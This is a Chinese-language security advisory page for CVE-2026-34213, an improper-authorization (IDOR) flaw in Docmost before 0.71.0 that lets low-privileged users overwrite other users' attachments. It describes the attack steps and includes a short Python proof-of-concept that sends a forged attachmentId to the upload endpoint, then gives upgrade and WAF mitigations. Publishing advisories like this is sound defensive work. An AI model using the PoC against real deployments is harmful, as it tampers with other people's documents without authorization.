IPBUF安全漏洞报告
English
CVE-2026-34213 CVSS 5.4 中危

CVE-2026-34213 Docmost权限不当漏洞致附件覆盖

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-34213
漏洞类型
权限不当
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Docmost

相关标签

权限不当IDORDocmost文件覆盖中危

漏洞概述

Docmost是一款开源协作wiki和文档软件。在0.3.0至0.71.0之前的版本中存在权限不当漏洞。低权限经过身份验证的用户可以利用该漏洞,通过向POST /api/files/upload接口提供受害者的attachmentId,覆盖同一工作区内其他页面的附件。该漏洞无需受害者交互即可实施,属于远程完整性问题,版本0.71.0已修复此问题。

技术细节

该漏洞的根本原因在于Docmost在处理文件上传接口`POST /api/files/upload`时,未对请求参数中的`attachmentId`进行严格的所有权校验。在正常的业务逻辑中,用户上传文件应关联到自己的文档或由系统生成唯一标识。但在受影响版本中,服务器端信任了客户端提供的`attachmentId`。攻击者只需拥有低权限账号,即可通过抓包工具拦截并修改上传请求,将`attachmentId`替换为同一工作区内受害者页面的附件ID。服务器收到请求后,会直接将攻击者上传的恶意文件或任意数据覆盖原附件,导致数据篡改。这一过程无需受害者交互,属于典型的IDOR(不安全的直接对象引用)漏洞,破坏了系统的数据完整性。

攻击链分析

STEP 1
1. 信息收集
攻击者获取目标Docmost实例的访问权限,并注册或通过低权限账号登录。
STEP 2
2. 获取目标ID
攻击者在同一工作区内浏览页面,通过前端源码或API响应获取想要覆盖的附件ID(attachmentId)。
STEP 3
3. 构造攻击请求
攻击者构造向 /api/files/upload 的POST请求,上传恶意文件,并将attachmentId参数修改为受害者的ID。
STEP 4
4. 执行覆盖
服务器因校验缺失,将攻击者的文件内容写入受害者附件的存储位置,完成数据覆盖。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-34213: Docmost Improper Authorization # This script demonstrates how a low-privileged user can overwrite attachments. TARGET_URL = "http://localhost:3000" ATTACKER_TOKEN = "low_privilege_token_here" VICTIM_ATTACHMENT_ID = "target_uuid_here" # Target endpoint endpoint = f"{TARGET_URL}/api/files/upload" # Headers simulating a low-privileged authenticated user headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Accept": "application/json" } # The exploitation payload: uploading a new file but forcing the victim's ID files = { 'file': ('exploit_payload.txt', b'This content has been overwritten by an attacker.', 'text/plain') } data = { 'attachmentId': VICTIM_ATTACHMENT_ID # The vulnerable parameter } try: response = requests.post(endpoint, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Success: Attachment overwritten.") else: print(f"[-] Failed: HTTP {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Docmost < 0.71.0

防御指南

临时缓解措施
建议立即升级至0.71.0及以上版本以彻底修复漏洞。若暂时无法升级,应通过WAF(Web应用防火墙)或反向代理层添加规则,检查上传请求中的attachmentId是否属于当前会话用户,或直接限制外部网络对上传接口的访问频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表